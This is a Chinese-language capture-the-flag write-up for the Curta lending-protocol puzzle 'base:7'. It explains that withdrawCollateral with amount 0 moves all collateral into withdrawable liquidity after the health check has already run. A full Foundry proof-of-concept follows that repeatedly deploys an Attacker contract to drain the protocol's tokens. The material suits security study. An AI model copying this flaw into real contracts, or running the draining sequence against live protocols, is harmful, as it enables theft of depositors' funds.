# 题目
https://www.curta.wtf/puzzle/base:7
这道CTF是一套借贷协议,需要从一个借贷协议里攻击获得全部的抵押物。
# 分析
借贷协议的攻击一般是操控价格,然后快速引起坏债进行攻击,从而盗取抵押物。我们先借着这个思路去看这条题,报价合约如下。我们可以看到Price写死的价格,并不是从池子读,或者从预言机读。这里可能唯一的问题价格设置上。
```solidity
contract Oracle is OwnableUpgradeable {
...
function setPrice(address asset, uint256 price) external onlyOwner {
prices[asset] = price;
}
function getPrice(address asset) external view returns (uint256) {
return prices[asset];
}
...
}
```
而在价格设置上,`createChallenge`的时候我们可以看到价格也是没有问题,LTV,LDV这些参数设计也没有问题。的代码如下:
```solidity=
function createChallenge(uint256 seed, address player) external onlyOwner returns (address) {
...
Oracle(oracleClone).setPrice(usdClone, 1e18);
Oracle(oracleClone).setPrice(wethClone, 3000e18);
Oracle(oracleClone).setPrice(rebasingWETHClone, 3100e18);
CurtaLending(curtaLendingClone).setAsset(usdClone, true, 500, 0.8 ether, 0.9 ether, 0.05 ether);
CurtaLending(curtaLendingClone).setAsset(wethClone, true, 300, 0.7 ether, 0.8 ether, 0.05 ether);
CurtaLending(curtaLendingClone).setAsset(rebasingWETHClone, true, 300, 0.7 ether, 0.8 ether, 0.05 ether);
...
}
```
仔细review代码,会发现问题是出现在了`withdrawCollateral`的特殊处理上。
```solidity!
function withdrawCollateral(address asset, uint256 amount) external {
accrueInterest(msg.sender, asset);
UserInfo storage _userInfo = userInfo[msg.sender][asset];
AssetInfo storage _assetInfo = assetInfo[asset];
uint256 collateralValue = (_userInfo.collateralAmount - amount) * oracle.getPrice(asset);
uint256 borrowValue = _userInfo.totalDebt * oracle.getPrice(_userInfo.borrowAsset);
require(collateralValue * _assetInfo.borrowLTV >= borrowValue * 1e18);
if (amount == 0) {
_userInfo.liquidityAmount += _userInfo.collateralAmount;
_assetInfo.totalLiquidity += _userInfo.collateralAmount;
_assetInfo.avaliableLiquidity += _userInfo.collateralAmount;
_userInfo.collateralAmount = 0;
} else {
require(_userInfo.collateralAmount >= amount);
_userInfo.liquidityAmount += amount;
_userInfo.collateralAmount -= amount;
_assetInfo.totalLiquidity += amount;
_assetInfo.avaliableLiquidity += amount;
}
}
```
问题的关键处在`amount == 0`时,这里希望特殊处理为全部collecteral转化为liquidity。**但这里有明显的问题:这个函数是先检查LTV的健康情况,再做状态修改;可是如果当输入amount为0的时候,全部抵押物都会转化成可提取的流动性,可以直接全部把流动性提取走,从而造成协议坏账。**
# POC攻击
所以攻击的手段也是非常简单:存钱,借钱,`withdrawCollateral(assert,0)`,然后`withdrawLiquidity`。btw,最后要注意一下要换个合约地址攻击,因为用户坏账形成了,就不能再用了。
测试代码如下:
```solidity=
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.20;
import {stdStorage, StdStorage, Test, console2} from "forge-std/Test.sol";
import {FailedLendingMarket} from "../src/puzzls/FailedLendingMarket.sol";
import {Challenge} from "../src/puzzls/Challenge.sol";
import {CurtaToken} from "../src/puzzls/CurtaToken.sol";
import {CurtaRebasingToken} from "../src/puzzls/CurtaRebasingToken.sol";
import {CurtaLending} from "../src/puzzls/CurtaLending.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract AttackApprove {
function claimTo(address token, address from, address to, uint256 amount) external {
IERC20(token).transferFrom(from, to ,amount);
}
}
contract Attacker {
constructor(
address curtaLending,
address attackApprove,
address tokenA,
address tokenB,
uint256 amount0,
uint256 amount1
) {
AttackApprove(attackApprove).claimTo(tokenA, msg.sender, address(this), amount0);
IERC20(tokenA).approve(curtaLending, amount0);
CurtaLending(curtaLending).depositCollateral(tokenA, amount0);
CurtaLending(curtaLending).borrow(tokenA, tokenB, amount1);
CurtaLending(curtaLending).withdrawCollateral(tokenA, 0);
CurtaLending(curtaLending).withdrawLiquidity(tokenA, amount0);
IERC20(tokenA).transfer(msg.sender, IERC20(tokenA).balanceOf(address(this)));
IERC20(tokenB).transfer(msg.sender, IERC20(tokenB).balanceOf(address(this)));
}
}
contract FailedLendingMarketTesting is Test {
address challenge;
address failedLendingMarket = 0xc0894A610f48dc195FEbb409b55497b670D448d0;
CurtaToken public curtaUSD;
CurtaToken public curtaWETH;
CurtaRebasingToken public curtaRebasingETH;
CurtaLending public curtaLending;
AttackApprove public attackApprove;
function setUp() public {
// vm.createSelectFork("https://base-rpc.publicnode.com");
failedLendingMarket = address(new FailedLendingMarket());
challenge = FailedLendingMarket(failedLendingMarket).deploy();
curtaUSD = Challenge(challenge).curtaUSD();
curtaWETH = Challenge(challenge).curtaWETH();
curtaRebasingETH = Challenge(challenge).curtaRebasingETH();
curtaLending = Challenge(challenge).curtaLending();
attackApprove = new AttackApprove();
}
function test0() public {
require(curtaUSD.balanceOf(address(this)) == 10000 ether, "balance not equal");
require(curtaWETH.balanceOf(address(this)) == 10000 ether, "balance not equal");
curtaUSD.approve(address(attackApprove), 30000 ether);
curtaWETH.approve(address(attackApprove), 30000 ether);
curtaRebasingETH.approve(address(attackApprove), 30000 ether);
Attacker _attackTry = new Attacker(
address(curtaLending),
address(attackApprove),
address(curtaWETH),
address(curtaUSD),
10000 ether,
10000 ether
);
require(curtaUSD.balanceOf(address(this)) == 20000 ether);
require(curtaWETH.balanceOf(address(this)) == 10000 ether);
_attackTry = new Attacker(
address(curtaLending),
address(attackApprove),
address(curtaWETH),
address(curtaRebasingETH),
10000 ether,
5000 ether
);
_attackTry = new Attacker(
address(curtaLending),
address(attackApprove),
address(curtaWETH),
address(curtaRebasingETH),
10000 ether,
5000 ether
);
IERC20(curtaWETH).approve(address(curtaRebasingETH), 10000 ether);
curtaRebasingETH.deposit(10000 ether);
require(curtaRebasingETH.balanceOf(address(this)) == 20000 ether);
_attackTry = new Attacker(
address(curtaLending),
address(attackApprove),
address(curtaRebasingETH),
address(curtaWETH),
20000 ether,
10000 ether
);
curtaRebasingETH.withdraw(20000 ether);
require(curtaWETH.balanceOf(address(this)) == 30000 ether);
address seed = address(uint160(Challenge(challenge).seed()));
IERC20(curtaWETH).transfer(seed, 30000 ether);
IERC20(curtaUSD).transfer(seed, 20000 ether);
require(Challenge(challenge).isSolved());
}
}
```